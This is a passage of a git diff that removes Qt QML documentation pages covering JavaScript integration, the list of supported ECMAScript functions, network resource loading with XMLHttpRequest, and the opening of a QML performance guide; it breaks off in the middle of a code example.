Inline JavaScript - -Small JavaScript functions can be written inline with other QML declarations. -These inline functions are added as methods to the QML element that contains -them. - -\code -Item { - function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } - - MouseArea { - anchors.fill: parent - onClicked: console.log(factorial(10)) - } -} -\endcode - -The factorial function will run whenever the MouseArea detects a clicked signal. - -As methods, inline functions on the root element in a QML component can be -invoked by callers outside the component. If this is not desired, the method -can be added to a non-root element or, preferably, written in an external -JavaScript file. - -\section2 JavaScript files - -Large blocks of JavaScript should be written in separate files. These files -can be imported into QML files using an \c import statement, in the same way -that \l {Modules}{modules} are imported. - -For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} -could be moved into an external file named \c factorial.js, and accessed like this: - -\code -import "factorial.js" as MathFunctions -Item { - MouseArea { - anchors.fill: parent - onClicked: console.log(MathFunctions.factorial(10)) - } -} -\endcode - -For more information about loading external JavaScript files into QML, read -the section about \l{Importing JavaScript into QML}. - -\section1 JavaScript Expressions -The \l{JavaScript Runtime}{JavaScript runtime} run regular JavaScript -expressions as defined by the - -\section2 Variables and Properties - --variables --basic data types --values and assigning --relate to property binding - -\section2 Conditional Loops -- for loops et al. -- conditional operator - -\section2 Data Structures -- arrays -- object -- relate to the content below about valid JS scope, objects, etc. -- more advanced data types such as accessing QML list - -\section2 Functions -- function declaration -- function assignment (return values) -- function parameters -- connecting functions -- importing libraries, functions -- difference between JS functions and signals and QML methods -\section3 Receiving QML Signals in JavaScript - -To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript -function. - -For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction() -in \c script.js: - -\table -\row -\li \snippet qml/integrating-javascript/connectjs.qml 0 -\li \snippet qml/integrating-javascript/script.js 0 -\endtable - -The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted. - -See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - -\section2 Advanced Usage -- using JS to access QML scene -- using JS for algorithms - - sorting, reordering lists -- how to modify other QML entities with JS - - - -\section1 Importing JavaScript into QML -Both relative and absolute JavaScript URLs can be imported. In the case of a -relative URL, the location is resolved relative to the location of the -\l {QML Document} that contains the import. If the script file is not accessible, -an error will occur. If the JavaScript needs to be fetched from a network -resource, the component's \l {QQmlComponent::status()}{status} is set to -"Loading" until the script has been downloaded. - -Imported JavaScript files are always qualified using the "as" keyword. The -qualifier for JavaScript files must be unique, so there is always a one-to-one -mapping between qualifiers and JavaScript files. (This also means qualifiers cannot -be named the same as built-in JavaScript objects such as \c Date and \c Math). - -\section2 Importing One JavaScript File From Another - -If a JavaScript file needs to use functions defined inside another JavaScript file, -the other file can be imported using the \l {QML:Qt::include()}{Qt.include()} -function. This imports all functions from the other file into the current file's -namespace. - -For example, the QML code below left calls \c showCalculations() in \c script.js, -which in turn can call \c factorial() in \c factorial.js, as it has included -\c factorial.js using \l {QML:Qt::include()}{Qt.include()}. - -\table -\row -\li {1,2} \snippet qml/integrating-javascript/includejs/app.qml 0 -\li \snippet qml/integrating-javascript/includejs/script.js 0 -\row -\li \snippet qml/integrating-javascript/includejs/factorial.js 0 -\endtable - -Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from -\c factorial.js into the \c MyScript namespace, which means the QML component can also -access \c factorial() directly as \c MyScript.factorial(). - -In QtQuick 2.0, support has been added to allow JavaScript files to import other -JavaScript files and also QML modules using a variation of the standard QML import -syntax (where all of the previously described rules and qualifications apply). - -A JavaScript file may import another in the following fashion: -\code -.import "filename.js" as UniqueQualifier -\endcode -For example: -\code -.import "factorial.js" as MathFunctions -\endcode - -A JavaScript file may import a QML module in the following fashion: -\code -.import Module.Name MajorVersion.MinorVersion as UniqueQualifier -\endcode -For example: -\code -.import Qt.test 1.0 as JsQtTest -\endcode -In particular, this may be useful in order to access functionality provided -via a module API; see qmlRegisterModuleApi() for more information. - -Due to the ability of a JavaScript file to import another script or QML module in -this fashion in QtQuick 2.0, some extra semantics are defined: -\list -\li a script with imports will not inherit imports from the QML file which imported it (so accessing Component.error will fail, for example) -\li a script without imports will inherit imports from the QML file which imported it (so accessing Component.error will succeed, for example) -\li a shared script (i.e., defined as .pragma library) does not inherit imports from any QML file even if it imports no other scripts -\endlist - -The first semantic is conceptually correct, given that a particular script -might be imported by any number of QML files. The second semantic is retained -for the purposes of backwards-compatibility. The third semantic remains -unchanged from the current semantics for shared scripts, but is clarified here -in respect to the newly possible case (where the script imports other scripts -or modules). -\section2 Code-Behind Implementation Files - -Most JavaScript files imported into a QML file are stateful implementations -for the QML file importing them. In these cases, for QML component instances to -behave correctly each instance requires a separate copy of the JavaScript objects -and state. - -The default behavior when importing JavaScript files is to provide a unique, isolated -copy for each QML component instance. The code runs in the same scope as the QML -component instance and consequently can can access and manipulate the objects and -properties declared. - -\section2 Stateless JavaScript libraries - -Some JavaScript files act more like libraries - they provide a set of stateless -helper functions that take input and compute output, but never manipulate QML -component instances directly. - -As it would be wasteful for each QML component instance to have a unique copy of -these libraries, the JavaScript programmer can indicate a particular file is a -stateless library through the use of a pragma, as shown in the following example. - -\code -// factorial.js -.pragma library - -function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); -} -\endcode - -The pragma declaration must appear before any JavaScript code excluding comments. - -As they are shared, stateless library files cannot access QML component instance -objects or properties directly, although QML values can be passed as function -parameters. - - - - -\section1 Running JavaScript at Startup - -It is occasionally necessary to run some imperative code at application (or -component instance) startup. While it is tempting to just include the startup -script as \e {global code} in an external script file, this can have severe limitations -as the QML environment may not have been fully established. For example, some objects -might not have been created or some \l {Property Binding}s may not have been run. -\l {QML JavaScript Restrictions} covers the exact limitations of global script code. - -The QML \l Component element provides an \e attached \c onCompleted property that -can be used to trigger the execution of script code at startup after the -QML environment has been completely established. For example: - -\code -Rectangle { - function startupFunction() { - // ... startup code - } - - Component.onCompleted: startupFunction(); -} -\endcode - -Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one \c onCompleted() -handler to execute at startup, they are run sequentially in an undefined order. - -Likewise, the \l {Component::onDestruction} attached property is triggered on -component destruction. - - -\section1 JavaScript and Property Binding - -Property bindings can be created in JavaScript by assigning the property the value returned -by calling Qt.binding() where the parameter to Qt.binding() is a \c function -that returns the required value. - -See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details. - - -\section1 QML JavaScript Restrictions - -QML executes standard JavaScript code, with the following restrictions: - -\list -\li JavaScript code cannot modify the global object. - -In QML, the global object is constant - existing properties cannot be modified or -deleted, and no new properties may be created. - -Most JavaScript programs do not intentionally modify the global object. However, -JavaScript's automatic creation of undeclared variables is an implicit modification -of the global object, and is prohibited in QML. - -Assuming that the \c a variable does not exist in the scope chain, the following code -is illegal in QML. - -\code -// Illegal modification of undeclared variable -a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -It can be trivially modified to this legal code. - -\code -var a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -Any attempt to modify the global object - either implicitly or explicitly - will -cause an exception. If uncaught, this will result in an warning being printed, -that includes the file and line number of the offending code. - -\li Global code is run in a reduced scope - -During startup, if a QML file includes an external JavaScript file with "global" -code, it is executed in a scope that contains only the external file itself and -the global object. That is, it will not have access to the QML objects and -properties it \l {QML Scope}{normally would}. - -Global code that only accesses script local variable is permitted. This is an -example of valid global code. - -\code -var colors = [ "red", "blue", "green", "orange", "purple" ]; -\endcode - -Global code that accesses QML objects will not run correctly. - -\code -// Invalid global code - the "rootObject" variable is undefined -var initialPosition = { rootObject.x, rootObject.y } -\endcode - -This restriction exists as the QML environment is not yet fully established. -To run code after the environment setup has completed, refer to -\l {Running JavaScript at Startup}. - -\li The value of \c this is currently undefined in QML in the majority of contexts - -The \c this keyword is supported when binding properties from JavaScript. -In all other situations, the value of -\c this is undefined in QML. - -To refer to any element, provide an \c id. For example: - -\qml -Item { - width: 200; height: 100 - function mouseAreaClicked(area) { - console.log("Clicked in area at: " + area.x + ", " + area.y); - } - // This will not work because this is undefined - MouseArea { - height: 50; width: 200 - onClicked: mouseAreaClicked(this) - } - // This will pass area2 to the function - MouseArea { - id: area2 - y: 50; height: 50; width: 200 - onClicked: mouseAreaClicked(area2) - } -} -\endqml - -\endlist - -\section1 Scarce Resources in JavaScript - -As described in the documentation for \l{QML Basic Types}, a \c var type -property may hold a "scarce resource" (image or pixmap). There are several -important semantics of scarce resources which should be noted: - -\list -\li By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource -\li A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector -\li A client may explicitly destroy a scarce resource, which will immediately release the resource -\endlist - -In most cases, allowing the engine to automatically release the resource is -the correct choice. In some cases, however, this may result in an invalid -variant being returned from a function in JavaScript, and in those cases it -may be necessary for clients to manually preserve or destroy resources for -themselves. - -For the following examples, imagine that we have defined the following class: - -\snippet qml/integrating-javascript/scarceresources/avatarExample.h 0 - -and that we have registered it with the QML type-system as follows: - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 0 - -The AvatarExample class has a property which is a pixmap. When the property -is accessed in JavaScript scope, a copy of the resource will be created and -stored in a JavaScript object which can then be used within JavaScript. This -copy will take up valuable system resources, and so by default the scarce -resource copy in the JavaScript object will be released automatically by the -declarative engine once evaluation of the JavaScript expression is complete, -unless the client explicitly preserves it. - -\section2 Example One: Automatic Release - -In the following example, the scarce resource will be automatically released -after the binding evaluation is complete. - -\snippet qml/integrating-javascript/scarceresources/exampleOne.qml 0 - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 1 - -\section2 Example Two: Automatic Release Prevented By Reference - -In this example, the resource will not be automatically -released after the binding expression evaluation is -complete, because there is a property var referencing the -scarce resource. - -\snippet qml/integrating-javascript/scarceresources/exampleTwo.qml 0 - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 2 - -\section2 Example Three: Explicit Preservation - -In this example, the resource must be explicitly preserved in order -to prevent the declarative engine from automatically releasing the -resource after evaluation of the imported script. - -\snippet qml/integrating-javascript/scarceresources/exampleThree.js 0 - -\snippet qml/integrating-javascript/scarceresources/exampleThree.qml 0 - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 3 - -\section2 Example Four: Explicit Destruction - -In the following example, we release (via destroy()) an explicitly preserved -scarce resource variant. This example shows how a client may free system -resources by releasing the scarce resource held in a JavaScript object, if -required, during evaluation of a JavaScript expression. - -\snippet qml/integrating-javascript/scarceresources/exampleFour.js 0 - -\snippet qml/integrating-javascript/scarceresources/exampleFour.qml 0 - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 4 - -\section2 Example Five: Explicit Destruction And JavaScript References - -One thing to be aware of when using "var" type properties is that they -hold references to JavaScript objects. As such, if multiple references -to one scarce resource is held, and the client calls destroy() on one -of those references (to explicitly release the scarce resource), all of -the references will be affected. - -\snippet qml/integrating-javascript/scarceresources/exampleFive.qml 0 - -\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 5 - -*/ diff --git a/src/qml/doc/src/qml/jsfunctionlist.qdoc b/src/qml/doc/src/qml/jsfunctionlist.qdoc deleted file mode 100644 index 35abc0a92c..0000000000 --- a/src/qml/doc/src/qml/jsfunctionlist.qdoc +++ /dev/null @@ -1,347 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page jsfunctionlist.html - \title List of JavaScript Objects and Functions - \brief A list of objects, functions, and properties supported in QML. - - This reference contains a list of objects, functions and - properties supported by the \l{The QML Engine}{QML engine}. For a detailed - description, see the \l{External: ECMA-262} specification. - - \section1 The Global Object - - \section2 Value Properties - - \list - \li NaN - \li Infinity - \li undefined - \endlist - - \section2 Function Properties - - \list - \li eval(x) - \li parseInt(string, radix) - \li parseFloat(string) - \li isNaN(number) - \li isFinite(number) - \li decodeURI(encodedURI) - \li decodeURIComponent(encodedURIComponent) - \li encodeURI(uri) - \li encodeURIComponent(uriComponent) - \endlist - - \section2 Constructor Properties - - \list - \li Object - \li Function - \li Array - \li String - \li Boolean - \li Number - \li Date - \li RegExp - \li Error - \li EvalError - \li RangeError - \li ReferenceError - \li SyntaxError - \li TypeError - \li URIError - \endlist - - \section2 Other Properties - - \list - \li Math - \li JSON - \endlist - - \section1 The Object Object - - \section2 Object Constructor - - \section3 Function Properties - - \list - \li getPrototypeOf(O) - \li getOwnPropertyDescriptor(O, P) - \li getOwnPropertyNames(O) - \li create(O [, Properties]) - \li defineProperty(O, P, Attributes) - \li defineProperties(O, Properties) - \li keys(O) - \li seal(O) - \li isSealed(O) - \li freeze(O) - \li isFrozen(O) - \li preventExtensions(O) - \li isExtensible(O) - \endlist - - \section2 Object Prototype - - \section3 Function Properties - - \list - \li toString() - \li toLocaleString() - \li valueOf() - \li hasOwnProperty(V) - \li isPrototypeOf(V) - \li propertyIsEnumerable(V) - \endlist - - \section1 Function Objects - - \section2 Function Prototype - - \section3 Function Properties - - \list - \li toString() - \li apply(thisArg, argArray) - \li call(thisArg [, arg1 [, arg2, ...]]) - \li bind((thisArg [, arg1 [, arg2, …]]) - \endlist - - \section1 Array Objects - - \section2 Array Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li toLocaleString() - \li concat([item1 [, item2 [, ...]]]) - \li join(separator) - \li pop() - \li push([item1 [, item2 [, ...]]]) - \li reverse() - \li shift() - \li slice(start, end) - \li sort(comparefn) - \li splice(start, deleteCount[, item1 [, item2 [, ...]]]) - \li unshift([item1 [, item2 [, ...]]]) - \li indexOf(searchElement [, fromIndex]) - \li lastIndexOf(searchElement [, fromIndex]) - \li every(callbackfn [, thisArg]) - \li some(callbackfn [, thisArg]) - \li forEach(callbackfn [, thisArg]) - \li map(callbackfn [, thisArg]) - \li filter(callbackfn [, thisArg]) - \li reduce(callbackfn [, initialValue]) - \li reduceRight(callbackfn [, initialValue]) - \endlist - - \section1 String Objects - - \section2 String Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li valueOf() - \li charAt(pos) - \li charCodeAt(pos) - \li concat([string1 [, string2 [, ...]]]) - \li indexOf(searchString ,position) - \li lastIndexOf(searchString, position) - \li localeCompare(that) - \li match(regexp) - \li replace(searchValue, replaceValue) - \li search(regexp) - \li slice(start, end) - \li split(separator, limit) - \li substring(start, end) - \li toLowerCase() - \li toLocaleLowerCase() - \li toUpperCase() - \li toLocaleUpperCase() - \li trim() - \endlist - - \section1 Boolean Objects - - \section2 Boolean Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li valueOf() - \endlist - - \section1 Number Objects - - \section2 Number Prototype Object - - \section3 Function Properties - - \list - \li toString(radix) - \li toLocaleString() - \li toFixed(fractionDigits) - \li toExponential(fractionDigits) - \li toPrecision(precision) - \endlist - - \section1 The Math Object - - \section2 Value Properties - - \list - \li E - \li LN10 - \li LN2 - \li LOG2E - \li LOG10E - \li PI - \li SQRT1_2 - \li SQRT2 - \endlist - - \section2 Function Properties - - \list - \li abs(x) - \li acos(x) - \li asin(x) - \li atan(x) - \li atan2(y, x) - \li ceil(x) - \li cos(x) - \li exp(x) - \li floor(x) - \li log(x) - \li max([value1 [, value2 [, ...]]]) - \li min([value1 [, value2 [, ...]]]) - \li pow(x, y) - \li random() - \li round(x) - \li sin(x) - \li sqrt(x) - \li tan(x) - \endlist - - \section1 Date Objects - - \section2 Date Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li toDateString() - \li toTimeString() - \li toLocaleString() - \li toLocaleDateString() - \li toLocaleTimeString() - \li valueOf() - \li getTime() - \li getFullYear() - \li getUTCFullYear() - \li getMonth() - \li getUTCMonth() - \li getDate() - \li getUTCDate() - \li getDay() - \li getUTCDay() - \li getHours() - \li getUTCHours() - \li getMinutes() - \li getUTCMinutes() - \li getSeconds() - \li getUTCSeconds() - \li getMilliseconds() - \li getUTCMilliseconds() - \li getTimeZoneOffset() - \li setTime(time) - \li setMilliseconds(ms) - \li setUTCMilliseconds(ms) - \li setSeconds(sec [, ms]) - \li setUTCSeconds(sec [, ms]) - \li setMinutes(min [, sec [, ms]]) - \li setUTCMinutes(min [, sec [, ms]]) - \li setHours(hour [, min [, sec [, ms]]]) - \li setUTCHours(hour [, min [, sec [, ms]]]) - \li setDate(date) - \li setUTCDate(date) - \li setMonth(month [, date]) - \li setUTCMonth(month [, date]) - \li setFullYear(year [, month [, date]]) - \li setUTCFullYear(year [, month [, date]]) - \li toUTCString() - \li toISOString() - \li toJSON() - \endlist - - \section1 RegExp Objects - - \section2 RegExp Prototype Object - - \section3 Function Properties - - \list - \li exec(string) - \li test(string) - \li toString() - \endlist - - \section1 Error Objects - - \section2 Error Prototype Object - - \section3 Value Properties - - \list - \li name - \li message - \endlist - - \section3 Function Properties - - \list - \li toString() - \endlist - - \section1 The JSON Object - - \section2 Function Properties - - \list - \li parse(text [, reviver]) - \li stringify(value [, replacer [, space]]) - \endlist - -*/ diff --git a/src/qml/doc/src/qml/network.qdoc b/src/qml/doc/src/qml/network.qdoc deleted file mode 100644 index 1df6f51202..0000000000 --- a/src/qml/doc/src/qml/network.qdoc +++ /dev/null @@ -1,236 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-network.html -\ingroup qml-features -\title Resource Loading and Network Transparency in QML -\brief about loading files and resources accross a network - -QML supports network transparency by using URLs (rather than file names) for all -references from a QML document to other content. This means that anywhere a URL source is expected, -QML can handle remote resources as well as local ones, for example in the following image source: - -\qml -Image { - source: "http://www.example.com/images/logo.png" -} -\endqml - -Since a \e relative URL is the same -as a relative file, development of QML on regular file systems remains simple: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -Network transparency is supported throughout QML, for example: - -\list -\li Fonts - the \c source property of FontLoader is a URL -\li WebViews - the \c url property of WebView (obviously!) -\endlist - -Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load -\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine -will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. -For example if the qmldir file contains the line "World World.qml", it will load -\tt http://example.com/mystuff/World.qml -Any other resources that \tt Hello.qml referred to, usually by a relative URL, would -similarly be loaded from the network. - - -\section1 Relative vs. Absolute URLs - -Whenever an object has a property of type URL (QUrl), assigning a string to that -property will actually assign an absolute URL - by resolving the string against -the URL of the document where the string is used. - -For example, consider this content in \tt{http://example.com/mystuff/test.qml}: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, -but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned -\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. - -If the string assigned to a URL is already an absolute URL, then "resolving" does -not change it and the URL is assigned directly. - - -\section1 Progressive Loading - -Because of the declarative nature of QML and the asynchronous nature of network resources, -objects which reference network resource generally change state as the network resource loads. -For example, an Image with a network source will initially have -a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. -While the content loads, the \c progress will increase until -the content is fully loaded from the network, -at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. -Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply -bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. - -Note that when objects reference local files they immediately have the \c Ready status, but applications wishing -to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O -to improve performance. - - -\section1 Accessing Network Services - -QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended -entirely for accessing network services, which usually respond with references to -content by URLs that can then be used directly in QML. For example, using these facilities -to access an on-line photography service would provide the QML application with URLs to -photographs, which can be directly set on an \l Image \c source property. - -See the \tt examples/quick/flickr for a real demonstration of this. - - -\section1 Configuring the Network Access Manager - -All network access from QML is managed by a QNetworkAccessManager set on the QQmlEngine which executes the QML. -By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by -providing a QQmlNetworkAccessManagerFactory and setting it via -QQmlEngine::setNetworkAccessManagerFactory(). -For example, the \l {QML Viewer} sets a QQmlNetworkAccessManagerFactory which -creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, -allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. - - -\section1 QRC Resources - -One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into -the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content -that is compiled into the executable: - -\code - QQuickView *canvas = new QQuickView; - canvas->setUrl(QUrl("qrc:/dial.qml")); -\endcode - -The content itself can then use relative URLs, and so be transparently unaware that the content is -compiled into the executable. - - -\section1 Limitations - -The \c import statement is only network transparent if it has an "as" clause. - -More specifically: -\list -\li \c{import "dir"} only works on local file systems -\li \c{import libraryUri} only works on local file systems -\li \c{import "dir" as D} works network transparently -\li \c{import libraryUrl as U} works network transparently -\endlist - -\section1 XMLHttpRequest - -\target XMLHttpRequest - -QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain -data from over a network. - -The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} -as many popular web browsers with following exceptions: -\list -\li QML's XMLHttpRequest does not enforce the same origin policy. -\li QML's XMLHttpRequest does not support \e synchronous requests. -\endlist - -Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset -of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web -browser. The following objects and properties are supported by the QML implementation: - -\table -\header -\li \b {Node} -\li \b {Document} -\li \b {Element} -\li \b {Attr} -\li \b {CharacterData} -\li \b {Text} - -\row -\li -\list -\li nodeName -\li nodeValue -\li nodeType -\li parentNode -\li childNodes -\li firstChild -\li lastChild -\li previousSibling -\li nextSibling -\li attributes -\endlist - -\li -\list -\li xmlVersion -\li xmlEncoding -\li xmlStandalone -\li documentElement -\endlist - -\li -\list -\li tagName -\endlist - -\li -\list -\li name -\li value -\li ownerElement -\endlist - -\li -\list -\li data -\li length -\endlist - -\li -\list -\li isElementContentWhitespace -\li wholeText -\endlist - -\endtable - -The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to -use the XMLHttpRequest object to make a request and read the response headers. - -*/ diff --git a/src/qml/doc/src/qml/performance.qdoc b/src/qml/doc/src/qml/performance.qdoc deleted file mode 100644 index 081f6958d4..0000000000 --- a/src/qml/doc/src/qml/performance.qdoc +++ /dev/null @@ -1,1121 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick2-performance.html -\title QML Performance -\brief performance issues and suggestions - -\tableofcontents - -\section1 Timing Considerations - -As an application developer, you must strive to allow the rendering engine -to achieve a consistent 60 frames-per-second refresh rate. 60 FPS means -that there is approximately 16 milliseconds between each frame in which -processing can be done, which includes the processing required to upload -the draw primitives to the graphics hardware. - -In practice, this means that the application developer should use asynchronous, -event driven programming wherever possible, should use worker threads to do -significant processing, should never manually spin the event loop, and should -never spend more than a couple of milliseconds per frame within blocking functions. -Failure to do so will result in skipped frames, which has a drastic effect on the -user experience. - -\note A pattern which is tempting, but should \e never be used, is creating your -own QEventLoop or calling QCoreApplication::processEvents() in order to avoid -blocking within a C++ code block invoked from QML. This is dangerous because -when an event loop is entered in a signal handler or binding, the QML engine -continues to run other bindings, animations, transitions, etc. Those bindings -can then cause side effects which, for example, destroy the hierarchy containing -your event loop. - -\section1 Profiling - -The most important tip is: use the QML profiler included with Qt Creator. Knowing -where time is spent in an application will allow you to focus on problem areas which -actually exist, rather than problem areas which potentially exist. See the Qt Creator -manual for more information on how to use the QML profiling tool. - -Determining which bindings are being run the most often, or which functions your -application is spending the most time in, will allow you to decide whether you need -to optimize the problem areas, or redesign some implementation details of your -application so that the performance is improved. Attempting to optimize code without -profiling is likely to result in very minor rather than significant performance -improvements. - -\section1 JavaScript - -Most QML applications will have a large amount of JavaScript code in them, in the -form of dynamic functions, signal handlers, and property binding expressions. -This is not generally a problem (in fact, due to some optimizations in the QML engine -(bindings compiler, etc) it can for some use-cases be faster than calling a C++ function) -however care must be taken to ensure that unnecessary processing isn't triggered -accidentally. - -\section2 Bindings - -There are two types of bindings in QML: optimized and non-optimized bindings. -It is a good idea to keep binding expressions as simple as possible, since the -QML engine makes use of an optimized binding expression evaluator which can -evaluate simple binding expressions without needing to switch into a full -JavaScript execution environment. These optimized bindings are evaluated far -more efficiently than more complex (non-optimized) bindings. - -Things to avoid in binding expressions to maximize optimizability: -\list - \li declaring intermediate JavaScript variables - \li calling JavaScript functions - \li constructing closures or defining functions within the binding expression - \li accessing properties outside of the immediate context (generally, this means outside the component) - \li writing to other properties as side effects -\endlist - -The QML_COMPILER_STATS environment variable may be set when running a QML application -to print statistics about how many bindings were able to be optimized. - -Bindings are quickest when they know the type of objects and properties they are working -with. This means that non-final property lookup in a binding expression can be slower -in some cases, where it is possible that the type of the property being looked up has -been changed (for example, by a derived type). - -Note that if a binding cannot be optimized by the QML engine's optimized binding -expression evaluator, and thus must be evaluated by the full JavaScript environment, -some of the tips listed above will no longer apply. For example, it can sometimes be -beneficial to cache the result of property resolution in an intermediate JavaScript -variable, in a very complex binding. Upcoming sections have more information on these -sorts of optimizations. - -\section2 Type-Conversion - -One major cost of using JavaScript is that in most cases when a property from a QML -element is accessed, a JavaScript object with an external resource containing the -underlying C++ data (or a reference to it) is created. In most cases, this is fairly -inexpensive, but in others it can be quite expensive. One example of where it is -expensive is assigning a C++ QVariantMap Q_PROPERTY to a QML "variant" property. -Lists can also be expensive, although sequences of specific types (QList of int, -qreal, bool, QString, and QUrl) should be inexpensive; other list types involve an -expensive conversion cost (creating a new JavaScript Array, and adding new elements -one by one, with per-element conversion from C++ type instance to JavaScript value). - -Converting between some basic property types (such as "string" and "url" properties) -can also be expensive. Using the closest matching property type will avoid unnecessary -conversion. - -If you must expose a QVariantMap to QML, use a "var" property rather than a "variant" -property. In general, "property var" should be considered to be superior to -"property variant" for every use-case in QtQuick 2.0 (note that "property variant" -is marked as obsolete in the QtQuick 2.0 documentation), as it allows a true JavaScript -reference to be stored (which can reduce the number of conversions required in certain -expressions). - -\section2 Resolving Properties - -Property resolution takes time. While in some cases the result of a lookup can be -cached and reused, it is always best to avoid doing unnecessary work altogether, if -possible. - -In the following example, we have a block of code which is run often (in this case, it -is the contents of an explicit loop; but it could be a commonly-evaluated binding expression, -for example) and in it, we resolve the element with the "rect" id and its "color" property -multiple times: - -\qml -// bad.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - printValue("red", rect.color.r); - printValue("green", rect.color.g); - printValue("blue", rect.color.b); - printValue("alpha", rect.color.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -We could instead resolve the common base just once in the block: - -\qml -// good.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - var rectColor = rect.color; // resolve the common base. - printValue("red", rectColor.r); - printValue("green", rectColor.g); - printValue("blue", rectColor.b); - printValue("alpha", rectColor.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -Just this simple change results in a significant performance improvement. -Note that the code above can be improved even further (since the property -being looked up never changes during the loop processing), by hoisting the -property resolution out of the loop, as follows: - -\qml -// better.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - var rectColor = rect.color; // resolve the common base outside the tight loop. - for (var i = 0; i < 